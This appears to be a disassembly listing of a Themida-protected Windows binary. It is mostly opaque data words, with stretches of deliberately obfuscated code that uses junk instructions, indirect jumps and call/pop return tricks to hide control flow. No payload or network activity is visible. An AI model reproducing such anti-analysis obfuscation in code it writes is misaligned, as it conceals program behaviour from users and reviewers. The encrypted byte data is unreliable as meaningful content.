		dd 78E90000h, 0B6000005h, 4FD9BFB0h, 67C19798h,	1A3E9E6h
		dd 1F89CFC0h, 356E242Bh, 6E61E110h, 414EFE28h, 0A1AE990Bh
		dd 808FB9EBh, 1F3048CAh, 0C980A5EFh, 43ED1F74h,	257F8E81h
		dd 0A46323Dh, 0A64748F8h, 8CE515BAh, 0D662CF96h, 78EA3CA2h
		dd 0E35F5093h, 968CBE6Ch, 0B93745CFh, 0C52E1864h, 548C111Eh
		dd 193E6A26h, 0CF968CE9h, 0FFAEC27Eh, 6CB1BEA5h, 0FC1C277Dh
		dd 0AB5D90D2h, 3E293E4Eh, 0C674EC31h, 0F9F670B2h, 60DD3793h
		dd 0D957588Bh, 0DFD01351h, 333C2F79h, 39362D47h, 0E7AB871h
		dd 962DD909h, 5ED26ECFh, 36D7D804h, 2AEC7709h, 5C7A3639h
		dd 0BC366835h, 0EE9BFFE6h, 0D1D332D0h, 82FE6008h, 0B11C156h
		dd 9A16CF96h, 0DC545B88h, 0B24B4486h, 0CF7F104Ch, 54CF960Ah
		dd 3CEF50D8h, 0BACF960Ah, 8503E364h, 6D7A0C71h,	0C04A2EBBh
		dd 0FCDF2FCh, 6CB2h, 29655A00h,	968CF826h, 0D3F10FCFh
		dd 3CD7CA44h, 99CBAF08h, 10BB30AFh, 0F44B67E0h,	64CAEBE1h
		dd 0ABD9575Eh, 0DF68D1FFh, 5EB8EDF3h, 14C403DAh, 50CF95B3h
		dd 231B051Eh, 6F0FCD35h, 1, 8B84433Dh, 323D2A72h, 5F5091EBh
		dd 2051B4Eh, 3A101FC4h,	838CB4CEh, 848BB5EFh, 848BBED4h
		dd 4DB3C779h, 0ACA3A7FDh, 126669DAh, 888743F8h,	49FB0975h
		dd 73F03246h, 0DCAB4FECh, 0F0A0B32Bh, 95A7AF5Fh, 8A38B4CFh
		dd 0D56EBA73h, 616EDF35h, 8B84409Ch, 1BCF151Dh,	7AE43E14h
		dd 914CA875h, 39C4CB7Ah, 17748907h, 0B4988681h,	110FCD08h
		dd 0D91220F7h, 95C988B6h, 63619FCFh, 0A8C0299Bh, 7F57h
		dd 8743E500h, 3E2F7588h, 98656AD5h, 89D32A58h, 5C50C55Ah
		dd 0B1293ADBh, 0A1A2FA03h, 0B2965FAEh, 0B2EC93B1h, 0DEBFDD14h
		dd 6E025089h, 79E92F38h, 0EA9C3A76h, 0AE3BF1BAh, 6AD63870h
		dd 0D9242B18h, 0ECE17967h, 2937720Ah, 28272341h, 555A8FD5h
		dd 4ADD5348h, 0CDB46054h, 642E0Fh, 84F00000h, 963D6393h
		dd 19C4E0CFh, 0C771292h, 0D83246F4h, 75888743h,	0EA333C2Fh
		dd 0CE081B4Dh, 0CD3F151Ah, 0F8262965h, 0FCF968Ch, 0B5232C15h
		dd 3FA0A7FDh, 0B4844DD7h, 0E439B781h, 959AB265h, 69FACCCFh
		dd 0CD1D4F77h, 4FFA080Fh, 13D72840h, 6B000000h,	0A6EA183Fh
		dd 0CB79CF95h, 0A64AF89Fh, 0ABD9CF95h, 8243B5C7h, 8247DD8Dh
		dd 0A8C0708Dh, 0B6B9ABF1h, 8D96EA57h, 5F059A4Bh, 6555CFEh
		dd 0D5050A46h, 52CF9656h, 0B7E2A826h, 0CA4D3D69h, 0D5A76281h
		dd 0B767E846h, 4CC9854Fh, 217B8230h, 0C782827h,	0A37B3882h
		dd 3B503FABh, 0C9849E0Bh, 6284EC18h, 0F40906C0h, 849DA355h
		dd 0C95A0EC9h, 7CD2DD0Fh, 0D637382Ah, 4A535C8Eh, 0E56CF372h
		dd 553106EFh, 1B61BC2Ah, 8876B12Eh, 6DE6BE25h, 0E5BB2EFFh
		dd 63A54062h, 0C98600E0h, 20DF2286h, 0C3E640Ch,	3B034D03h
		dd 7709DCAEh, 13Ch, 386CB405h, 0ACACC748h, 3B1D5A7h, 0C74884FAh
		dd 0C9856E17h, 4386902Ch, 4CFE244Ch, 0A99B0D43h, 0C37D47A6h
		dd 23A13E28h, 0E3F45817h, 9FCB79F7h, 0C9D4DB05h, 0E14A6317h
		dd 0E85A9CA7h, 0D87FABE7h, 0C984C82Ah, 81E78B39h, 0DC2AC7FFh
		dd 0F3728009h, 0A8262918h, 556556AAh, 1B1FD36Ch, 67E4h
		dd 124EBA00h, 8559CD7Dh, 0A92E5AC9h, 0C9855979h, 5E51968Eh
		dd 0B4324820h, 0CC433F6Bh, 4F968CFEh, 2856B7C5h, 99646BDAh
		dd 0BE6CD3A7h, 274F968Dh, 4AF89FCBh, 0D94F968Dh, 9691C7ABh
		dd 0D96E6876h, 0F9AE92FDh, 6F3B84B1h, 0ADCE1C33h, 8AC6CF96h
		dd 966C5585h, 2136D2CFh, 0C1730AF9h, 0E9C6AAD8h, 755DF55Bh
		dd 0EF000000h, 0D4DB0F65h, 366317C9h, 96C2BEEAh, 3C2EC57Ch
		dd 0F8788533h, 96C48FB0h, 7B89D5A7h, 0F007CA2h,	0C98582DFh
		dd 2A0C864h, 1F89CFC0h,	0A7DB222Dh, 0CC7B904Dh,	7ADD55C3h
		dd 0C98583C7h, 25267C0Ah, 1710462Ah, 321817D1h,	0BDEDB907h
		dd 9B6A3A9Ah, 0E9F2DCFh, 0E23B3436h, 29182B7Dh,	0A8AF9BCFh
		dd 0D5A78748h, 5771215Fh, 7EEEE491h, 0E1075371h, 308AEC84h
		dd 48386CB4h, 0AC74E5C7h, 0BF4EFAD5h, 9EF4FB65h, 0B161F622h
		dd 0B6C980A5h, 9A636CDEh, 224028A6h, 0A7D7BF20h, 0EE8D1184h
		dd 56C4727Dh, 1EAC90B7h, 0FDB3E052h, 0BDB2AC6Ah, 5E934DD7h
		dd 0D19F0939h, 90E21EBEh, 9D435A55h, 83469E6Fh,	8146DC8Ch
		dd 0A9C17F8Eh, 2A3D43F0h, 0D7D72ECh, 5C7A75F7h,	0D82EB73Dh
		dd 0F91F13F6h, 0C7C87B89h, 3AF771B3h, 0D235E515h, 176563BEh
		dd 4B357F6h, 0F6242B07h, 0DBED1B8h, 0CAD341FFh,	31Ch, 6862E00h
		dd 738A8543h, 0ED303F29h, 425B5497h, 38C5CA7Ah,	926B64DCh
		dd 0C919E4Ah, 0EF3E3130h, 46A7A895h, 27C6C97Eh
; ---------------------------------------------------------------------------
		aaa
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	659Ah
		mov	[esp], edi
		push	3F5Eh
		mov	[esp], ecx
		push	edx
		push	2DCD620Dh
		pop	edx
		and	edx, 586B0D69h
		push	ebp
		mov	ebp, 0FF261BEh
		xor	edx, ebp
		pop	ebp
		xor	edx, 1AE8642h
		mov	edi, edx
		pop	edx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	711Bh
		mov	[esp], edx
		mov	edx, 8
		add	edx, ecx
		mov	[edx], edi
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		dw 4B81h
; ---------------------------------------------------------------------------
		idiv	byte ptr [ecx+ecx]
		mov	eax, 615ECF7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		sbb	al, 30h
		retf	5E34h
; ---------------------------------------------------------------------------
		db 53h,	81h, 56h
		dd 341E1182h, 5D8291EEh, 3E092360h, 2901E47h, 58DF8729h
		dd 6C55F3E7h, 6137E46Ah, 3431D1E6h, 1B1C705Bh, 279D5D37h
		dd 53CBFE80h, 666E9B22h, 6E568AD5h, 7F82C65Eh, 2795858Dh
		dd 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 3152EEC3h, 0F1B22C27h, 52506050h,	0B966310Fh
		dd 585A4BE0h, 0D18B6652h, 489615Fh, 0F5BD8B24h,	6A06110Dh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 85298192h, 6110151h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8F2D84C3h
		dd 4C8AF9A0h, 0EE9h, 0C8E32600h, 0C79AA01Ah, 8C690231h
		dd 8D9C934Bh, 15EF8B85h, 5958906h, 83061131h, 0F8F905C0h
		dd 31BB6650h, 24048973h, 33AA1EBBh, 6A006A59h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0BE8DC352h, 0AAB8E9A4h, 8E949h, 21390000h, 6A9529A5h
		dd 6A9B4Ch, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	1CC35242h, 0CB78311Dh, 0FC52C8ECh, 5D95FF5Fh, 8D061107h
		dd 14A4208Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0D1FF66C2h, 2EC78166h, 71BD832Bh
		dd 106111Bh, 83850Fh, 870F0000h, 8, 2860Fh, 61600000h
		dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 5F931CC3h, 8B6658FBh, 0FA8B90DEh,	13E950h
		dd 7B8A0000h, 0AB7962D7h, 57060963h, 190ABD39h,	4116D1A5h
		dd 6A9099h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 96D125C3h, 896D6E97h, 112289B5h, 6595FF06h
		dd 8B06112Bh, 112789BDh, 0DC3E906h, 0E80000h, 5D000000h
		dd 0EF95ED81h, 6A0615h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 12B68EC3h, 6E881h, 94310000h, 5E66A5DCh
		dd 23399589h, 6A5B0611h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 600AC355h, 0BECF80C3h
		dd 858DD98Bh, 6148968h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 4DC35343h, 68C0F99h, 89000000h, 1121059Dh
		dd 9ED78106h, 900B276Bh, 16320CBFh, 0E8605052h,	6, 0DEF25B83h
		dd 10E90DAEh, 0AA000000h, 249DF6CAh, 828A8F17h,	35377662h
		dd 5989FED3h, 9061FE8Bh, 0FE9h,	75B1F100h, 0EAEB1396h
		dd 0B8C65A11h, 0BFF95F61h, 35FF64h, 8B000000h, 1127599Dh
		dd 25896406h, 0
; ---------------------------------------------------------------------------
		sub	[ebp+6110E99h],	ecx
		inc	dword ptr [ebp+61107ADh]
		mov	ebx, 37138482h
		push	0FFFFFFFFh
		jmp	loc_598C64
; ---------------------------------------------------------------------------
		dd 3D931AEDh, 1D4049DAh, 57545B4Dh
; ---------------------------------------------------------------------------


loc_598C64:				; CODE XREF: Themida_:00598C53j
		push	dword ptr [ebp+61131A9h]
		push	esi
		movzx	edi, cx
		pop	edi
		call	dword ptr [ebp+611150Dh]
		jmp	loc_598DA3
; ---------------------------------------------------------------------------
		dw 0B70Fh
		dd 6600B0DFh, 70E6D88Bh, 7C98529h, 71E40611h, 58EB8166h
		dd 0F613CE8h, 10A83h, 0A90BB00h, 0B60F61E9h, 0AD9D8BC8h
		dd 0BA06112Ah, 6, 0A5BD8B51h, 5F061126h, 0FCDB8166h, 8BC18B3Bh
		dd 112385BDh, 9D8B5006h, 6112391h, 4E8C15Bh, 9E9h, 96C5C800h
		dd 5CCF0A63h, 0F766A7A4h, 0B19D89E2h, 8B061104h, 110C91BDh
		dd 66C82B06h, 2F19DF81h, 0BD8BD18Bh, 6110A7Dh, 8FCF8166h
		dd 0A1E95Ch, 880F0000h,	6, 312D8529h, 858B0611h, 4, 14E9h
		dd 6D558200h, 0E40734AFh, 0B6FFC6BBh, 7AD03891h, 2AA18243h
		dd 7C08339h, 7418501h, 0C0830611h, 859D2300h, 3B061104h
		dd 11830FD0h, 66000000h, 0E96040BFh, 53h, 25DD9D01h, 0EFB70611h
		dd 0FFFF8D8Bh, 9D23FFFFh, 6111C81h, 0F01E183h, 3684h, 0FE900h
		dd 42430000h, 0D598C63Ah, 50A1A8FCh, 635D579Ah,	0FFA5831Bh
		dd 0FEFFFFFFh, 8D0Fh, 95890000h, 4, 1B4DBD03h, 0BF660611h
		dd 0E997E1h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_598DA3:				; CODE XREF: Themida_:00598C75j
		lea	esi, [ebp+6155CE9h]
		mov	ebx, [ebp+6111FE1h]
		push	0
		mov	edi, [ebp+6110119h]
		movsx	edi, dx
		call	dword ptr [ebp+61105C5h]
		push	0
		push	ebp
		call	sub_598DCB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598DCB	proc near		; CODE XREF: Themida_:00598DC3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_598DCB	endp

; ---------------------------------------------------------------------------
		db 0E5h
		dd 0B0C25BF3h, 5800F28h, 66000000h, 9B86DF81h, 0E10B9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0F8484EFh, 0E183FABFh, 56006AFCh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0FC4E564Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0CCC35747h, 0CCAFB5E1h,	8E9h, 29C2AA00h, 0BC791D54h
		dd 49850105h, 0E8061109h, 6, 0C660E70Fh, 0BF66F486h, 0B85B527Eh
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+61105A1h],	edi
		mov	edx, 0
		push	0
		push	edx
		call	sub_598E92
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598E92	proc near		; CODE XREF: Themida_:00598E8Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_598E92	endp

; ---------------------------------------------------------------------------
		dw 0AC14h
		dd 0BC5EEEF8h, 214D9D0Bh, 33AD0611h, 3E8D1C2h, 4E983D0h
		dd 8056F475h, 6A5FDAF3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 1667C351h, 880D8Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 616DDFC3h, 4D7C29FAh, 6DBD03E4h, 8B061132h
		dd 11285D95h, 39958906h, 8B06110Fh, 112DD18Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 1B161B2Eh, 665601FEh, 505BD98Bh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0B32C42B5h
		dd 7DBD8BE3h, 33061112h, 110679BDh, 81BD8306h, 61123h
		dd 7B840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 7F3979C3h, 289BD2B2h, 8D895F84h
		dd 6110081h, 8E9h, 0E68C8E00h, 5F41E4C5h, 0B899h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 18EC3BC3h, 669C7B19h, 8DE3B1BBh, 114E3E8Dh, 3D9D0906h
		dd 8906110Eh, 1128A195h, 89E1FF06h, 111D9DBDh, 9BD8306h
		dd 61127h, 493840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0CEAA37C3h, 559D8BADh
		dd 83061128h, 112709BDh, 840F0106h, 47Ch, 0BD83B8B3h, 6112709h
		dd 37860F03h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 4908C351h, 0C2E751A6h
		dd 6A60C4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 805A80C3h, 8C66F8EBh, 0BE8D9h, 43ED0000h
		dd 0ED13409Fh, 0D804353Eh, 14E9604Bh, 70000000h, 2D09A8F4h
		dd 6C935B82h, 66549C06h, 0BC75B7AFh, 66ADBB61h,	5F61D08Bh
		dd 0F04E180h, 381h, 0D88B6600h,	840FC90Ah, 130h, 38A0Fh
		dd 8B660000h, 0F5858BF8h, 0B706111Bh, 5853324h,	8B061103h
		dd 48950D9h, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 82B305F9h, 26B3A0B1h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 81688BC3h, 8BAB2A20h, 240481FBh, 54F4E37Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 6AC35343h, 8BA0B5B8h
		dd 112901BDh, 0BE806h, 0F8D00000h, 0A6FC2B52h, 0B919F62Eh
		dd 3D8D0908h, 5F061118h, 2AC195FFh, 6A0611h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0BF7701C3h
		dd 2EF38199h, 8B62C2DAh, 768589DEh, 6A0614BDh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 599DC355h, 6ACF886Fh, 46E6BF9Eh, 307D8D31h, 9E90611h
		dd 6A000002h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 7A6AC355h, 0D01A9835h,	0DC9A5FECh
		dd 0BD6E858Bh, 0BF660614h, 0C76E40h, 18h, 4DC38166h, 0DABF0F82h
		dd 0BD72B58Bh, 6A0614h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0E55012C3h, 9325BFFAh, 858B4641h
		dd 61114E9h, 6840Fh, 0E7810000h, 3EEF92F2h, 6A0689h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 8C20FEC3h, 0F2C36B70h, 0CFF6D381h, 858B7889h, 6111BF5h
		dd 46AC781h, 468931D5h,	56006A04h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 3A3C5938h, 8D8B6030h
		dd 6112DE1h, 14E89661h,	1C000000h, 0C702EF3Ch, 10129E9h
		dd 0F2A1FAA9h, 26B4BFFCh, 8B32E420h, 0B7505BDAh, 6A96E0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D37626C3h, 3D9FD631h, 155BD8Bh, 860F0611h, 2, 0B5FFD88Ah
		dd 614BD6Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	37C35141h, 4CBBBA13h, 4E8h, 1F03FF00h, 0AE900h
		dd 0F28B0000h, 99EF79AEh, 449EC102h, 24448B50h,	8B5F5104h
		dd 898AB300h, 0E9042444h, 0Eh, 0EACB4E61h, 9997B771h, 0D55FEDDAh
		dd 6A585D69h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0D7A8C350h, 0D59D8BA9h, 8D061121h
		dd 14BD7685h, 50D98B06h, 0DE8C96BFh, 24048954h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A9C35343h, 1200705Bh
		dd 4C089F7Bh, 2AC195FFh, 6A0611h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 61F407C3h, 85C7FC61h
		dd 6112709h, 3,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	19C35242h, 66F9B70Fh, 83FE2ABFh, 14BD76BDh, 840F0006h
		dd 5Eh,	14E8h, 98AF0100h, 774DE174h, 67735F9Bh,	3133F817h
		dd 1618E3B6h, 0CF8166EAh, 815B8822h, 1CC17BD7h,	4FE933h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0C94280C3h, 604572A9h, 2849B58Bh,	0BD8B0611h
		dd 61109D5h, 1E80BB61h,	30506C6Eh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0CE9C0h, 1D0F0000h
		dd 0EFEC40F2h, 96A35B72h, 8166A421h, 6A2432CFh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 9AC0C353h, 83D98BE7h, 112709BDh, 850F0306h, 3E3h, 537EE381h
		dd 0BD834D9Ch, 614BD76h, 0D0840F00h, 0E8000003h, 9, 0F8680EA5h
		dd 0E478C43Ah, 72BF66CAh, 0B5FF5F86h, 614BD76h,	329195FFh
		dd 0BD8B0611h, 6110365h, 8BD8BF0Fh, 14BD6AB5h, 558D8906h
		dd 0BB061115h, 39047FD1h, 106C7h, 6A0001h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 74CB60C3h
		dd 74BB424Ah, 13E8CEFAh, 85000000h, 0FD8CFBF3h,	918B5298h
		dd 9E6B7DBBh, 9E302A4Eh, 15FB765h, 1115CD8Dh, 10E95006h
		dd 56000000h, 0E71C6802h, 502408E7h, 0A9C107C7h, 8931C9BAh
		dd 0BD0B2434h, 6110759h, 0BD76B5FFh, 13E90614h,	0C3000000h
		dd 702A0EF7h, 2CF7A1B9h, 0D549C922h, 38C01C33h,	95FF1599h
		dd 61100E9h, 0EDD9589h,	0CB800611h, 6AB58B9Eh, 0E80614BDh
		dd 12h,	1F48A7B6h, 41868D2Eh, 12D2D3E9h, 380BEA25h, 0BF0F043Ah
		dd 858B5BFAh, 6111425h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0F8C35040h, 897E0B5h,	896220F4h, 0C486h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 70144F50h, 804F7C63h, 0F19D89CAh, 8B06110Fh
		dd 11285D95h, 0A9950106h, 83061107h, 6A04C2h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0BD8B1DC3h, 611340Dh, 6A205089h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0D3CBC350h, 0DAB56AB4h, 6850Fh, 0BD8B0000h, 6111565h
		dd 0D062858Dh, 0DA8B0614h, 0B88689h, 0BD330000h, 61108A9h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BB6690C3h, 0B5FF68DCh, 614BD76h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 60C35343h, 0E97F7F1Ch
		dd 0Dh,	282323CCh, 0B41ECF5Ch, 6C7B49F7h, 6595FF8Eh, 6A06112Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0D643C355h, 0FB12AE9h, 0B8Ch, 5830F00h, 0BB000000h
		dd 6E0BBF25h, 8810F50h,	0F000000h, 287h, 89616000h, 11E82434h
		dd 55000000h, 78E22797h, 0C5FDD3E2h, 304A1289h,	0C71C48FEh
		dd 0EE853h, 98470000h, 318269Ch, 0B0DEFC03h, 0E3CDAA54h
		dd 0FF5B5F5Bh, 14BD76B5h, 98BB6606h, 2995FFAEh,	6606110Eh
		dd 0BD83DF8Bh, 6112761h, 2D840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0D96EC356h, 7176E494h, 33BF6650h, 24348939h,	1474BB66h
		dd 0BD76B5FFh, 6A0614h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 60F6DCC3h, 63C2BFB9h, 61C18B4Dh
		dd 12F195FFh, 0FFF80611h, 14BD76B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 402B2601h
		dd 0B995FFAFh, 6A061105h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 23DEC350h, 622899B5h
		dd 13DBD83h, 0F020611h,	5B84h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 820FFF88h
		dd 6, 4C58589h,	858B0611h, 6113101h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0F0C35545h,	15E5EF81h, 0D98A7952h
		dd 530000C6h, 5FFBB70Fh, 4D585C7h, 611h, 0F560000h, 0E95FDEB7h
		dd 0FFFFF345h, 5E9h, 0AB494700h, 0C18BFC93h, 0DE9F5h, 6E880000h
		dd 2A7Fh, 0
		dd 0E9000000h, 5E9h, 5E343B29h,	3A101FC4h, 1C727DE8h, 0FA505F8Ah
		dd 0E1B7B8A8h, 0F46C9D46h, 0D31395FBh, 332C76DCh, 12CC563Ch
		dd 8DFD371Dh, 808F5C8Ah, 4ABAEBC9h, 7F8E8143h, 46323D25h
		dd 8CD5050Ah, 0C252CF96h, 4CF40906h, 0F2345ADEh, 0F1037F70h
		dd 0B0A07D72h, 0A7FD21F8h, 0EE52ABA4h, 0CEA2AD94h, 58A5AA94h
		dd 35C8C77Ch, 0A9747BEFh, 0E9F9053h, 8EACB7E9h,	0EF5BA999h
		dd 0CD5688E0h, 314D90Bh, 0CF968CD3h, 91522450h,	0F82A609Eh
		dd 0BE0A404Fh, 2136FB64h, 0CF968CF1h, 244CFA76h, 0A3A64DFEh
		dd 616EDAACh, 0D736A49Ch, 4F5E518Dh, 3BC2CD75h,	538C67E1h
		dd 0A3DF2E5Ch, 968C7EACh, 707785CFh, 98092B3Ch,	8EB97F88h
		dd 0EF59CB81h, 0A7D5DA04h, 87BE5846h, 0D50CD499h, 0A354FBBFh
		dd 0C3CF9655h, 9B944DA7h, 0ED62DE02h, 0CF96553Dh, 0A4FABECAh
		dd 0D889BDA3h, 6BC90FCDh, 97000000h, 0CB4C8143h, 0CF968D1Bh
		dd 9F6E9C28h, 968C88B8h, 9192E4CFh, 0CDEFB78Fh,	1FB0Fh
		dd 43810000h, 0B0111B84h, 0CDC84E9Ah, 5691E35Fh, 111ECF59h
		dd 0CF744019h, 84323D24h, 818EBED4h, 2E21207Ch,	0BFF361DFh
		dd 9E5396EEh, 959349F9h, 0D0A2DECFh, 1FEE1C13h,	9553D4A8h
		dd 0B9EBA1AEh, 9E77108Fh, 93A5264h, 54C2CD7Fh, 0F658CFEh
		dd 30C34DFh, 0A0C80895h, 34C9C602h, 0A9747BE8h,	9F7F88C0h
		dd 40D2DD05h, 0BEE48C83h, 0E8E7618Ah, 0D7BD2B15h, 19C934Dh
		dd 0F8050A3Bh, 1AFA0DA3h, 0C6505F88h, 4BF50807h, 0ED712527h
		dd 0E0410FCDh, 0EF000000h, 0D8888743h, 98909F4Ah, 874AFBC1h
		dd 968C6290h, 2553E1CFh, 0AB40FCD8h, 0E868B5BAh, 0E859A37Ah
		dd 0DD5306E7h, 3D73684Ah, 8FB8CA2Ah, 0C5C37D80h, 0EAE4CF77h
		dd 4B999156h, 4EBA909Fh, 0E6070834h, 33A1AE9Eh,	323D257Fh
		dd 3D322C46h, 2AF3FC6Bh, 51AB4236h, 2CF7B90h, 9685DD0Dh
		dd 0A0DE6ACFh, 0A875E35Dh, 0F9E914Ch, 0F9040B35h, 0F1D354B4h
		dd 0E1FF0898h, 0FCDEACDh, 0D3D528Eh, 1ACF9690h,	6F758AEEh
		dd 1B000000h, 1E4A8743h, 968CC979h, 0AD225ECFh,	0CF968C7Dh
		dd 90C07E8Ah, 0F8DD3376h, 149E3A4Dh, 20190754h,	282F1B15h
		dd 0CF9597FAh, 0E6B7FB09h, 5BA2AD9Eh, 3FCEC101h, 57977CE5h
		dd 6D9B4558h, 929D4490h, 0C4A4D50Bh, 98C86143h,	9699498Fh
		dd 384640C0h, 617C33BFh, 43B1CBAFh, 0D7728B84h,	0CF968D24h
		dd 0E5FB0C42h, 0FCDEF21h, 191h,	29653F00h, 0A7EF04AFh
		dd 10872684h, 0CF9675E2h, 55FD361h, 0D22047D8h,	5774E40Bh
		dd 4EF8C4D9h, 0E187BC41h, 0AAA5A066h, 2BBFD0FEh, 0F0B969EEh
		dd 324ECF95h, 0B7B4F614h, 95F772A0h, 0D543F1CFh, 0B21E3B5Dh
		dd 0DAA5AAE6h, 9FD5A702h, 86409C61h, 0E761C389h, 23215E8h
		dd 0AFC984EFh, 0BEA86EF9h, 78C7C1B1h, 0A956F378h, 0A9FB1D15h
		dd 94C0B0BFh, 85825383h, 0CCA4D0C9h, 0A05C71Dh,	88C43AF3h
		dd 85825787h, 0D850ECC9h, 89BB7D86h, 0B68ED086h, 0F809DCE5h
		dd 166h, 386CB480h, 0ACACC748h,	93B1D5A7h, 5FEC83CFh, 1FEE1CAEh
		dd 24141BC5h, 0E65CC5BAh, 8EB8D21Fh, 0F91F1381h, 6BB2BDAFh
		dd 0C5D8D711h, 0BC414EFFh, 1EEFE060h, 680906C6h, 0E80D2F38h
		dd 0E761A7A0h, 0C9F5252Ah, 0C672C984h, 0C955858Ah, 0A6D2C984h
		dd 3F2A7828h, 5297ED30h, 6290405Dh, 0A98E80Eh, 0D258D0DFh
		dd 9DC2CEAh, 77A4h, 6BB47400h, 0FECC433Fh, 964F968Ch, 0F9093208h
